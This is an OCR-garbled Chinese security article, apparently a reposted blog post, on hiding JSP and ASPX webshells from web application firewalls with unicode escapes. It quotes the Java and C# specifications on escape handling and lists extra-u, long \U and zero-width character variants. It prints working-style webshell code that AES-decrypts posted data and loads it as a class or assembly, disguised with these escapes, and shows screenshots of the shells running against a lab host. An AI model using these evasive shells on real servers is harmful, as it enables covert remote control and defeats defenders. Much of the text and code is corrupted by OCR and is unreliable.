¢{TPAINPBASERE: unicode i#1T webshell £33
REE

F—REE [ IBAIFASERE: R Webshell 7ESCERRAIMAR | FEH 7i8IY unicode #47
webshell B9 FRIBIE. 152 unicode B3R, HILFEERT jsp 1 aspx IR T, EAHE
ttF php 0 asp, jsp # aspx RIRRMEREBEREZIT WAF., [ ARSKRILZ AR HAIRIZAR
EETRRERIFRSR, BEILREYEREHNRELEY B SRR EH T TR mID A
17 WAF 51, tBRJLAE T, XENESLL unicode B TR ANS I HIRHAR S —
TR,

jsp a3 unicode Jki

ZERID jsp B9 webshell ATLUEIT unicode RIBAIAGNEET waf 2iE d BEEERTERES
o], XMEEBERBEHREZ AR, EBEEATA jsp WATLUEE unicode #1743, M
asp. php ~171E?

IB155REE java RIESALE:

https://docs.oracle.com/javase/specs/jls/se8/html/jls-3.html#jls-3.3

3.3. Unicode Escapes

A compiler for the Java programming language ("Java compiler”) first recognizes Unicode escapes in its input, translating the ASCII characters \u followed by four hexadecimal digits to the UTF-16 code unit (§3.1) for the indicated hexadecimal
walue, and passing all othar P i ¥ requires two ive Unicode escapes. This translation step results in a sequence of Unicode input characters.
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http://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484930&idx=1&sn=58051fea67ab30eff045d721ffc66604&chksm=eb91e956dce660402f069b53dd5fc25059b8051945d5bfca782956fe5d6cc471e45d1fca0831&scene=21#wechat_redirect

A compiler for the Java programming language ("Java compiler”) first recognizes
Unicode escapes in its input, translating the ASCII characters \u followed by four
hexadecimal digits to the UTF-16 code unit (§3.1)

EEHET Java mFESETIRAIEMA A Unicode =, BISGIRE \ u REEFARIT M7
PHEEE, GHEEEHRY UTF-16 NIRRT, ERINFABRRSFAR.

AT eclipse BEEIX—T, FHAiILA helloworld F2REMllit :

“T 7 java
package test;
public class Test {
public static void main(String[] args) {

System.out.println("Hello World");
}



{

(
.out.println({"Hello Wc

-— 0
== Outline

n Problems @ Javadoc @. Declaration B Console E Coverage
k1

#1115 System 17 unicode RIBARERFIEIT:



e g Y e
A Test.java B Task List
test; i "

out.println("Hello World");

== Outline

¥ main(String[]) : void

1 | @ B Console B

ary/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/binfjava (Jul 9, 2020, 4:37:32 PM - 4:37

Hello World

AJLARKINIE I THRIR. java IBSIXAFRUFAMRIE T —5tt, BEARFRETER. AMIALR



1EIXEE, 7£ oracle EMAY Java IESHCEmIAIX R :

The \, u, and hexadecimal digits here are all ASCII characters.
{ ly precede i, ing it from @ nen-\ character or the start of the

In addition ta the processing implied by the grammar, for each raw input character that Is a backslash \, input ing must consider how many other % ch
input stream. If this number is even, then the ' is eligible to begin a Unicode escape; if the number is odd, then the  is not eligible to begin a Unicode escape.

‘ For example, the raw inpul *\\u2122=\u2122" resulls in the eleven characlers " \ \ u 2 1 2 2 = ™ "(\u2122 isthe Unicode encoding of the character =).

If an eligible \ is not followed by u, then it is treated as a RawinputCharacter and remains part of the escaped Unicode stream.

| If an eligible \ is followed by u, or more than one u, and the last u is not followed by four hexadecimal digits, then a pile-time error occurs.

The character produced by a Unicode escape does not participate in further Unicode escapes.

For example, the raw input |\ u005cu005a results in the six chaacters \ u 0 0 5 a, because 005c is the Unicode value for \. It does not result in the character Z, which is Unicode character 005a, because the | that resulted
from the \u005e is nof inferpreted as the sfart of a further Unicode escape.

The Java programming language specifies a standard way of transforming a program written in Unicode into ASCII that changes a program into a form that can be processed by ASCll-based tools, The transformation involves converting any
Unicode escapes in the source text of the program to ASCI by adding an exira u - for example, \uxxcsr becomes \uuxxsxsx - while si ing non-ASCII in the source text to Unicode escapes containing a single u each.

This transformed version is equally acceptable to a Java compiler and represents the exact same program. The exact Unicode source can later be restored from this ASCII form by converting each escape sequence where multiple u's are present
ing each escape seq with a single u lo the ponding single Unicode

lo a sequence of Unicode characters with ane fewer u, while
A Java compilar should vse the | uxseex notation as an output format fo display Unicode characters when 8 suitable font is nat availabis

If an eligible \ is followed by u, or more than one u, and the last u is not followed by

four hexadecimal digits, then a compile-time error occurs.

NERAERFEFARY\ u JBE E—PLAERY u) RERIEANH7]AHIE T, WAREmETER. 38
B \ FETLERZ u, BB

TNV N



Test.java J Task List

"R

.out.println("H

QOutline

= “main(String[]) : void
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Hello World
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HORAILABIT, Fll I LARE \ U 825% \ uuu, #98 1) L1 U #RlLA. FHKESIIN. 79 0, #%
KB EERRE N REHI TR

YBpage import="java. util.*, javax. crypto. *, javax. crypto. spec. *7%>

leclass U extends ClassLoader (I{Classloader c) {super(c);

public Class g(byte [Ib) freturn super. defineClass(b, 0, b. length) ; 1 1%>

<%if(request.

om0 06 7y v 0065 i 00 7 45 i oo oo 0 05 0 S uiouuuuuo o)
061 Yoo 00 7 2 uoounuouuuouuuaauun 006 1 i a0 06D
\uu¥??uuuuuuuuuuuuuuuu0065\uuuuuuuuuuuuuuuuuuuqu0T4\uuuuuuuuuuuuuuuuuuuuu0065\uuuuuuuuuuuuuuuuuuuqu072(”pass”)!
=nu

{String k=(""+UUID. randomUUID (), replace ("-", *). substring (16) ; session. putValue(“u
Clpher c=Cipher. getInstance ("AES”)

c.init(2, new SecretEevSpec( (Sessmn getValue ("u™)+""). gctByteS (), "AES™)):

new U(thls getClass(). getClassLoader()). g(c. doFinal (new sun. misc. BASE64Decoder (). decodeBuffer (request. getReader
(). readline()))). newInstance (). equal s(pageContext) ;

%> T

o

k) out. print (k) ; return; }



- http://172.16.11.216:8080/jsp/shell7jsp  7Ki& v2.0 =N ch

URL: http://172.16.11.216:8080/jsp/shell7 jsp B

BTEE | ®ouT | BN | TR [ sockstt2 | sisshell | muEsEn | smunE | ss2 [ Eres |

[Cm

HREE:

USERPROFILE=C:"Users'volcano

JAVA HOME=C:Program Files'Java\jdk1.6.0_45

Cmd=reg query "HKEY LOCAL_MACHINE' SOFTWAREJavaSoft Java Development Kit" /s
=ExitCode=00000000

SystemDrive=C:

CURRENT_DIR=C:Users'volcano'xmapp

_RUNIDB="C:Program Files'\Java\jdk1.6.0_45'bin'jdb exe"

JREKevName32=HKEY LOCAL MACHINE SOFTWARE Wow6432Node JavaSoft'Java Runtime Environment
Path=C:'Windows'system32;C: Windows;C:'Windows'System32 Wbem;C:\ Windows System32' WindowsPowerShellv1.0
;¢ Program Files'Java jdk1.6.0_45'bin

PROCESSOR_REVISION=9¢0a

JREKevName64=HKEY LOCAL MACHINE SOFTWARE JavaSoft Java Runtime Environment
USERDOMAIN=WIN-HH3QAS10J6L

ALLUSERSPROFILE=C:ProgramData
T OWEGING CONFEIG=Tatra nhl laaono confio fila="""1 Tcarc'trnlrana vmann tameat conf looaing neanertisc”

4| 1 3
e
ErEEEn= | FILEECTRLFETES 748 v2.0 | By rebeyond

PRI, ESFRIRAIARRSIESR, FATTLSI ARSIt THEARtD : BefiTrT LA RE:
FRARID, BLHTRENL u MEAY unicode JRES, u PERIBEBHIERES waf BiE RIEFT
TERNZRASEME, RAF(ISRISBoiRRME TR,

aspx R unicode $FTEFRT

NMAMTERIEZEE acnv IAKBO@E X Tanlman—=E<r=hitaist acnv BIAH AT @ 1inicrAda /250



HOHJTI/IVE'E UMA AP HI 02N < _BY1-L-HY IFE ST WULAL USMPA AP LD T VANLRAL JUllIvwuC I

PTRARERE, HLRIEM jsp ¥, BN c# IBSHESFF unicode Hi&:

= 2.4.1 Unicode character escape sequences

A Unicode character escape sequence represents a Unicode character. Unicode character escape sequences are
processed in identifiers (§2.4.2), character literals (§2.4.4.4), and regular string literals (§2.4.4.5). A Unicode
character escape is not processed in any other location (for example, to form an operator, punctuator, or
keyword).

L) unicode-escape-sequence:
\u hex-digit hex-digit hex-digit hex-digit
\U hex-digit hex-digit hex-digit hex-digit hex-digit hex-digit hex-digit hex-digit

A Unicode escape sequence represents the single Unicode character formed by the hexadecimal number
following the “\u” or “\U” characters. Since C# uses a 16-bit encoding of Unicode code points in characters and
string values, a Unicode character in the range U+10000 to U+10FFFF is not permitted in a character literal and
is represented using a Unicode surrogate pair in a string literal. Unicode characters with code points above
0x10FFFF are not supported.

Multiple translations are not performed. For instance, the string literal *“\u005Cu005C” is equivalent to
“\Nu005C” rather than “\”. The Unicode value \u005C is the character “\”.

The example

. class Classl

static void Test(bool \u0066) {
char ¢ = "\u0066"';
if (\u0066)
System.Console.writeLine(c.ToString());
}

}

shows several uses of \u0066, which is the escape sequence for the letter “f”. The program is equivalent to

mMBEMZF \ u F1\ U f9RZST0, 18X jsp Kk, c# IESHIEME unicode ffE, IXEEEE153
MNEEZHRRETRMANESHIFAFRELILZEIRRAYBERY. unicode F55RFFT:




U+FEFF (Byte Order Mark - BOM)

ZFIRBIEE T DIF. ZFHESES
w=E. AANE. MRS AETEFT
(N PHP E¥ies ) MisFESMEIEMI
o

"wFFEF' Reversed Byte Order Mark
(BOM)

FRIFLIMIEF S, G EFMEF
e

"Ww200B' zero-width non-break

CEFHAA N, E—FRURELE R EE M

space Fii7 BFhERE

U+00A0 NO-BREAK SPACE o2 I M A= EES — . FITHTML
& A R&nbsp;

U+00AD SOFT HYPHEN (TEHTML ) I TFEEETH ., B85

(BRI mERTHBETAEFH

U+200D ZEROWIDTH JOINER

o I M A P S —2 (IR0, P
FAL, S3FZTARRETS) o AL
FelEN RS PFES-

U+2060 WORD JOINER

[ U+00A0, B0l L) FRETE
Twitter _F FE @font-face

Evan: \ufeff

BANERLAKIEAZR T, #ATIE



%@ Page Language="C#” %>
<$@Import Namespace="System. Reflection™%>
<U%if _”pass”]';null){ Session. Add("k”, Guid. NewGuid().ToString().Replace(”-",
“7). Substring L16)): Response.Write(Sessionl[0]): return: tbvtel]l k =
Encoding. D&ult.GctBytcs (Session[0] + “”), ¢ = Request. BinaryRead

1

(Request. CohtentLength) ; Assembly. Load (new

tyv. Cryptography. Ri indaelNanasged(). CreateDecryptor (k,

inalBlock(c, 0, c.Length)).Createlnstance(”U”).Equals(this) %>
ErfleZ BHEALYS

= drir

Prunicode

Svstem. Sec
k). Transfor

& "Request” &34 "R\ufeffequest”, SATSEREIKISIER::

j—
-

' http://172.16.11.216:81 fshellLaspx 7Kg v2.0 =N ECR <"

URL: http://172.16.11.216:81/shelll.aspx [

BSER | 24047 | ERSE | TAEIE | SocksiIE | Biashell | smEE | szunE | 852 | Exas

HEEE:

COMPUTERNAME:-WIN-HH3QAS10J6L

APPDATA-C.: Windows'system32'config'systemprofile' AppData Roaming
LOCALAPPDATA:C: Windows'svstem32'\config systemprofile' AppData Local
PSModulePath:C:\ Windows'system3 2 WindowsPowerShellvl 0'Modules'
PROCESSOR_ARCHITECTURE:AMD64

CommonProgramW6432:C: Program Files'Common Files
CommonProgramFiles(x86):C: Program Files (x86) Common Files
ProgramFiles(x86):C:'Program Files (x86)

PROCESSOR_LEVEL:6

windows_tracing flags:3

ProgramFiles:C: Program Files

USERNAME WIN-HH3QAS10J6LS

SystemRoot:C: ' Windows

APP POOL_CONFIG.C:inetpub'temp'apppools'aspxtest aspxtest. config

ATV TuuAT T

m




APP_PUUL_lL)aspxtest

ATTTICTDCDDATTT T M m meemanaThmin i
T
ELEEFH=A (T LUERCTRL+FEETES K48 v2.0 | By rebeyond

RIERARTLIERE (R, 558, # unicode B—XFRITEEERF ZW), B—FRAI4TENF
7, BTREEMERITENABRRSES, MWAHEER. HEERS. K ZW) ERTA
RASERNFIZE, B2SHENILUERRIAZZTED.

EURNEBEERAFELUTILA:

\u200c
\u20ed
\u200e
\u20ef

ZT, ERHFAFRPRAXEF RIS ANIERZT, MEBAUERTHED
BIRERER, XHEEERTESERE:

k%@ Page Languaze="C#” %>

4@Import Namespace="System. Reflection™%>

Gif (R\u200eiu200ehu200ehu200eu200e \u200e Y u200e Y u200e \ u200e u200e  u200e \u200e  u200e
WuZ200eu200e \u200e 1200y U00000065U000000T 100000075 U00000065U0000007 3400000007 4
["pass”]!=rmll) { \UJ000000S3YUIO0000065\T000000T3\U000000T7 3\ U00000069U0000006F
\U000000EE. YU00000041 \U00000064\U00000064 ("k™, Guid. NewGuid(). ToString (). Replace (",
“7 . A\U0000005340000000754u200eu200eu200e\u200e\u200eu200e\u200e \ uZ00e \uZ00e \u200e
WuZ00eluZ00e \u200eu200e u200eyu200ei\u200e\u200e\u200el u200e\uZ200e Y u200e u200e Y u200e
\uZ200e\uZ00e\u200e\u200e \u200e\u200ei\u200e\u200e\u200e\u200e\uZ00e Y uZ00e u200e \u200e
\uZ200e\u200e\u200e\ u200e \ u200e u200eiu200e\u200e\u200e\u200e\uZ00e Y uZ00e uZ00e Y 1u200e
WuZ200elu200e\u200eu200e\u200e u200etu200e

\I00000062YU0000007 3800000007 4400000007 25\J00000069U0000006:\U0000006T (16) )

Response. Write(Session[0]); return;ibytel] k = \U000000454\0000006e
EUQUOUQQ@S\UUUUUUU6f\UUU000064\UQUUUUUEQ\UUOUUUUEE\UUUQUUOET.Default.QEtBytes(Sessiun

£ jsp B, XEAFRFARENNAREEIEFIERIZT T



o Testjava

{
( [1 args) {
\uuuuuuuUUUUUUU@e53\u200 f\uuuuda79\uee73\uuudd74\ud@65\uld6d.out.println("\uo0al1’

¥ System cannot be resolved

8 quick fixes available:

Create local variable 'System'

B4 4

o=l

HXITAMESAIZEETTURT unicode FRIBRABVE, BAVERSFMELTTIE, $XIT jsp I
RETHATIRBEETS, BAIAGEHITEHmS, RETAIFFIRIBINL \ u /5HE 16 HHIRI=FE
KNG, SEHERSEHARNERTTIE:

xyz "] AR B :
x\uB079\u007a
\uee78y\uee7a
\u0078\u00792
\u0078\u0079\uBe7A
\u078\uuuuee79\uuudd7a
\Uuuuuee78\uuee79z

\uuuuuuuuuee78yz



FF aspx, EEFZ:

xyz ] AZRIR B :

x\u@079\ud07a

\u0078y\uoo7a

\u0e78\ue079z

\u@078\u0079\ue07A

\U00000078\uk0792
\U00000078\u200c\u200d\u200d\U0000200d\u0079z

\\\\\\\

ZA3ETXS unicode XJ webshell BISRZRAIG VAT 7Fidt—25ER, RBERR—FPERE. X5
ST LG waf =Z2RIIBR, JAFFRITE shell RIS, BEZRIEMEETIRER
BHEARIM, FrAXFRISHIUI0E R 2 — MRIRRE.

KXfEE: FREXERSTR BR

HETF IR

ik Webshell 7£3C8%+ AN
A EHIEEE R W BEERT S
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http://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484957&idx=1&sn=00d73fab2cd50e7f287c57783f03a343&chksm=eb91e949dce6605f46755df19c0f06305aad6a6f304727b35a09e29e586902fe20b2183f457b&scene=21#wechat_redirect
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